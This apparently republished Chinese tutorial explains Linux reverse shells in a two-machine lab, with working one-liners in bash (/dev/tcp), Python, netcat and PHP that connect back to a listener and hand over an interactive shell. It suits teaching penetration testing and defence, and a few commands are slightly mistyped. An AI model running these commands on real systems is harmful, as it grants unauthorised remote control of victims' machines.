热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

phpliunx反弹大马,Linux下反弹Shell方法总结

原标题:Linux下反弹Shell方法总结16004488所谓反弹shell,指的是我们在自己的机器上开启监听,然后在被攻击者的机器上发送

原标题:Linux 下反弹 Shell 方法总结

16004488

7654acd94c9c321cc2794f2550ea6710.png

所谓反弹shell,指的是我们在自己的机器上开启监听,然后在被攻击者的机器上发送连接请求去连接我们的机器,将被攻击者的shell反弹到我们的机器上。

实验环境:

CentOS 6.5:192.168.0.3

kali2.0:192.168.0.4

方法一

反弹shell命令如下:

bash -i >& /dev/tcp/ip/port 0>&1

首先,使用nc在kali上监听端口:

nc -lvp 7777

d04722036c57441217490d4a67379b07.png

然后在CentOS6.5下输入:

bash -i >& /dev/tcp/192.168.0.4/7777 0>&1

8f41a568329756aec8292c44b9bba29e.png

可以看到shell成功反弹到了kali上面,可以执行命令:

1a76ef3924cfdf8529ddf085dc0de9f2.png

在解释这条反弹shell的命令原理之前,首先需要掌握几个点。

linux文件描述符:linux shell下有三种标准的文件描述符,分别如下:

0 - stdin 代表标准输入,使用或>>2 - stderr 代表标准错误输出,使用2>或2>>

还有就是>&这个符号的含义,最好的理解是这样的:

当>&后面接文件时,表示将标准输出和标准错误输出重定向至文件。当>&后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符

也有师傅把&这个符号解释为是取地址符号,学过C语言的小伙伴们都知道&这个符号代表取地址符,在C++中&符号还代表为引用,这样做是为了区分文件描述符和文件,比如查看一个不存在的文件,要把标准错误重定向到标准输出,如果直接cat notexistfile 2>1的话,则会将1看作是一个文件,将标准错误输出输出到1这个文件里而不是标准输出,而&的作用就是为了区分文件和文件描述符:

e4e69541feb3c6b613a0f1410e2701e1.png

理解了上面这些知识,下面来解释一下这一条反弹shell的命令首先,bash -i代表在本地打开一个bash,然后就是/dev/tcp/ip/port, /dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,>&后面跟上/dev/tcp/ip/port这个文件代表将标准输出和标准错误输出重定向到这个文件,也就是传递到远程上,如果远程开启了对应的端口去监听,就会接收到这个bash的标准输出和标准错误输出,这个时候我们在本机CentOS输入命令,输出以及错误输出的内容就会被传递显示到远程。

f0aad381928cbfe810517d96ef2338a4.png

在本地输入设备(键盘)输入命令,在本地看不到输入的内容,但是键盘输入的命令已经被输出到了远程,然后命令的执行结果或者错误也会被传到远程,查看远程,可以看到标准输出和标准错误输出都重定向到了远程:

aeeebd1368473398ea623d31d5ea1562.png

下面在该命令后面加上0>&1,代表将标准输入重定向到标准输出,这里的标准输出已经重定向到了/dev/tcp/ip/port这个文件,也就是远程,那么标准输入也就重定向到了远程,这样的话就可以直接在远程输入了:

daea611c4d4c12ab45ceb1d093218307.png

cff78b83f51da1e8b54927f88f64f228.png

那么,0>&2也是可以的,代表将标准输入重定向到标准错误输出,而标准错误输出重定向到了/dev/tcp/ip/port这个文件,也就是远程,那么标准输入也就重定向到了远程:

3d752056d535cf441d04c8b2fd49e940.png

a5b8720192df6cede697bbd5f7d161e0.png

为了更形象的理解,下面给出了整个过程的数据流向,首先是本地的输入输出流向:

577d7b68e8d2287b6b3a0a270aef2cff.png

执行bash -i >& /dev/tcp/ip/port后

e9d412e796f70ca27db62571b0c4ec80.png

执行bash -i >& /dev/tcp/ip/port 0>&1或者bash -i >& /dev/tcp/ip/port 0>&2后:

c9c0b13adf9846191a9ec3be6a5df09b.png

方法二

使用python反弹,反弹shell命令如下:

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

首先,使用nc在kali上监听端口:

nc -lvp 7777

9fbbded00f5dae9683e416e4e2d94b8c.png

在CentOS下使用python去反向连接,输入:

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.0.4',7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);

478cea6c19ac347b79f4861e217de7b2.png

可以看到kali上成功反弹到了shell,可以执行一些命令:

9d4a1455a62a9eeb78fe3647b068584d.png

在已经深入理解了第一种方法的原理后,下面来解释一下python反弹shell的原理。

首先使用socket与远程建立起连接,接下来使用到了os库的dup2方法将标准输入、标准输出、标准错误输出重定向到远程,dup2这个方法有两个参数,分别为文件描述符fd1和fd2,当fd2参数存在时,就关闭fd2,然后将fd1代表的那个文件强行复制给fd2,在这里可以把fd1和fd2看作是C语言里的指针,将fd1赋值给fd2,就相当于将fd2指向于s.fileno(),fileno()返回的是一个文件描述符,在这里也就是建立socket连接返回的文件描述符,经过测试可以看到值为3。

c9b74e65b6c122b1281f36ad4f6bcf36.png

于是这样就相当于将标准输入(0)、标准输出(1)、标准错误输出(2)重定向到远程(3),接下来使用os的subprocess在本地开启一个子进程,传入参数“-i”使bash以交互模式启动,标准输入、标准输出、标准错误输出又被重定向到了远程,这样的话就可以在远程执行输入命令了。

方法三

使用nc反弹shell,需要的条件是被反弹shell的机器安装了nc,CentOS6.5安装nc方法如下:

1、下载安装wget https://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz/downloadtar -zxvf netcat-0.7.1.tar.gz -C /usr/localcd /usr/localmv netcat-0.7.1 netcatcd /usr/local/netcat./configuremake && make install2、配置vim /etc/profile添加以下内容:

# set netcat pathexport NETCAT_HOME=/usr/local/netcatexport PATH=$PATH:$NETCAT_HOME/bin保存,退出,并使配置生效:source /etc/profile3、测试nc -help成功

898cb4e0733ba34baeca12fb4837b33c.png

之后在kali上使用nc监听端口:

nc -lvp 7777

b34dbfbddf4425c6eda3fe4f9c359e8b.png

在CentOS上使用nc去反向连接,命令如下:

nc -e /bin/bash 192.168.0.4 7777

3f3fb138ab7a493d016533765302c96c.png

这里的-e后面跟的参数代表的是在创建连接后执行的程序,这里代表在连接到远程后可以在远程执行一个本地shell(/bin/bash),也就是反弹一个shell给远程,可以看到远程已经成功反弹到了shell,并且可以执行命令。

2b44196cc14770cded25d3ce6ea0d3f1.png

注意之前使用nc监听端口反弹shell时都会有一个警告:Warning: forward host lookup failed for bogon: Unknown host,根据nc帮助文档的提示加上-n参数就可以不产生这个警告了,-n参数代表在建立连接之前不对主机进行dns解析。

nc -nlvp 7777

3435fc41bad9eb12a5d99c9006ef8c38.png

如果nc不支持-e参数的话,可以利用到linux中的管道符,首先在kali上开启监听:

nc -nvlp 6666

nc -nvlp 7777

26e5ebdb1b5073bfc49fa81998e1d41f.png

之后在CentOS上使用nc去反向链接:

nc 192.168.0.4 6666|/bin/bash|192.168.0.4 7777

eded6c0fb27db80a671fceed7b75165f.png

75938c2fc885ec2691ed5f19ead1b410.png

这里通过在kali上监听两个端口,然后在使用CentOS进行反向连接的时候使用到了管道符,管道符的作用是把管道符前的输出作为管道符后的输入,这样的话就可以在远程的6666端口的输入设备(键盘)输入命令,将命令输出传递至本地的/bin/bash,通过本地shell解释执行命令后,将命令执行的结果以及错误输入到远程的7777端口。

dc14b03bd1addf5bc841f0be9cb8b74c.png

方法四

使用php反弹shell,方法如下 。

首先最简单的一个办法,就是使用php的exec函数执行方法1反弹shell的命令:

php- 'exec("/bin/bash -i >& /dev/tcp/192.168.0.4/7777")'

352c6641e33a86c09b73ec48bbdd60a1.png

1f639695b5f4d304c3ce0ba46f8fbc51.png

还有一个是之前乌云知识库上的一个姿势,使用php的fsockopen去连接远程:

php -r '$sock=fsockopen("ip",port);exec("/bin/bash -i &3 2>&3");'

0a934dbd8a937687d0e0f2c4395f7190.png

cc8fd4a7bc00ea6fb3a52b73d80ee775.png

这个姿势看起来有一些难以理解,尤其是还出现了

有了之前的基础,我们知道3代表的是使用fsockopen函数建立socket返回的文件描述符,这里将标准输入,标准输出和标准错误输出都重定向到了远程。

在CentOS上反向连接,输入:

php -r '$sock=fsockopen("192.168.0.4",7777);exec("/bin/bash -i 0>&3 1>&3 2>&3");'

a7aba9b79cb0e67346f2708bb5c8b64e.png

08d81c610fd126c5eb472789bd6c91c3.png

注意:php反弹shell的这些方法都需要php关闭safe_mode这个选项,才可以使用exec函数。

白帽子讲Web安全(纪念版)

责任编辑:



推荐阅读
  • 本文介绍了Python高级网络编程及TCP/IP协议簇的OSI七层模型。首先简单介绍了七层模型的各层及其封装解封装过程。然后讨论了程序开发中涉及到的网络通信内容,主要包括TCP协议、UDP协议和IPV4协议。最后还介绍了socket编程、聊天socket实现、远程执行命令、上传文件、socketserver及其源码分析等相关内容。 ... [详细]
  • 本文介绍了计算机网络的定义和通信流程,包括客户端编译文件、二进制转换、三层路由设备等。同时,还介绍了计算机网络中常用的关键词,如MAC地址和IP地址。 ... [详细]
  • 树莓派语音控制的配置方法和步骤
    本文介绍了在树莓派上实现语音控制的配置方法和步骤。首先感谢博主Eoman的帮助,文章参考了他的内容。树莓派的配置需要通过sudo raspi-config进行,然后使用Eoman的控制方法,即安装wiringPi库并编写控制引脚的脚本。具体的安装步骤和脚本编写方法在文章中详细介绍。 ... [详细]
  • Python项目实战10.2:MySQL读写分离性能优化
    本文介绍了在Python项目实战中进行MySQL读写分离的性能优化,包括主从同步的配置和Django实现,以及在两台centos 7系统上安装和配置MySQL的步骤。同时还介绍了创建从数据库的用户和权限的方法。摘要长度为176字。 ... [详细]
  • 本文介绍了使用readlink命令获取文件的完整路径的简单方法,并提供了一个示例命令来打印文件的完整路径。共有28种解决方案可供选择。 ... [详细]
  • Python脚本编写创建输出数据库并添加模型和场数据的方法
    本文介绍了使用Python脚本编写创建输出数据库并添加模型数据和场数据的方法。首先导入相应模块,然后创建输出数据库并添加材料属性、截面、部件实例、分析步和帧、节点和单元等对象。接着向输出数据库中添加场数据和历程数据,本例中只添加了节点位移。最后保存数据库文件并关闭文件。文章还提供了部分代码和Abaqus操作步骤。另外,作者还建立了关于Abaqus的学习交流群,欢迎加入并提问。 ... [详细]
  • Annotation的大材小用
    为什么80%的码农都做不了架构师?最近在开发一些通用的excel数据导入的功能,由于涉及到导入的模块很多,所以开发了一个比较通用的e ... [详细]
  • Python实现变声器功能(萝莉音御姐音)的方法及步骤
    本文介绍了使用Python实现变声器功能(萝莉音御姐音)的方法及步骤。首先登录百度AL开发平台,选择语音合成,创建应用并填写应用信息,获取Appid、API Key和Secret Key。然后安装pythonsdk,可以通过pip install baidu-aip或python setup.py install进行安装。最后,书写代码实现变声器功能,使用AipSpeech库进行语音合成,可以设置音量等参数。 ... [详细]
  • 开发笔记:加密&json&StringIO模块&BytesIO模块
    篇首语:本文由编程笔记#小编为大家整理,主要介绍了加密&json&StringIO模块&BytesIO模块相关的知识,希望对你有一定的参考价值。一、加密加密 ... [详细]
  • Metasploit攻击渗透实践
    本文介绍了Metasploit攻击渗透实践的内容和要求,包括主动攻击、针对浏览器和客户端的攻击,以及成功应用辅助模块的实践过程。其中涉及使用Hydra在不知道密码的情况下攻击metsploit2靶机获取密码,以及攻击浏览器中的tomcat服务的具体步骤。同时还讲解了爆破密码的方法和设置攻击目标主机的相关参数。 ... [详细]
  • Python语法上的区别及注意事项
    本文介绍了Python2x和Python3x在语法上的区别,包括print语句的变化、除法运算结果的不同、raw_input函数的替代、class写法的变化等。同时还介绍了Python脚本的解释程序的指定方法,以及在不同版本的Python中如何执行脚本。对于想要学习Python的人来说,本文提供了一些注意事项和技巧。 ... [详细]
  • 本文介绍了在Mac上配置环境变量,实现Python3的命令行调用的步骤。首先通过官网下载或使用brew安装Python3,并找到安装路径。然后将该路径添加到环境变量中,可以通过编辑.bash_profile文件或执行source命令来实现。配置完成后,即可在命令行中直接调用Python3。 ... [详细]
  • 本文介绍了在mac环境下使用nginx配置nodejs代理服务器的步骤,包括安装nginx、创建目录和文件、配置代理的域名和日志记录等。 ... [详细]
  • 本文介绍了5个基本Linux命令行工具的现代化替代品,包括du、top和ncdu。这些替代品在功能上进行了改进,提高了可用性,并且适用于现代化系统。其中,ncdu是du的替代品,它提供了与du类似的结果,但在一个基于curses的交互式界面中,重点关注占用磁盘空间较多的目录。 ... [详细]
  • Question该提问来源于开源项目:react-native-device-info/react-native-device-info ... [详细]
author-avatar
冰冻的幸福yasminzp_815
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有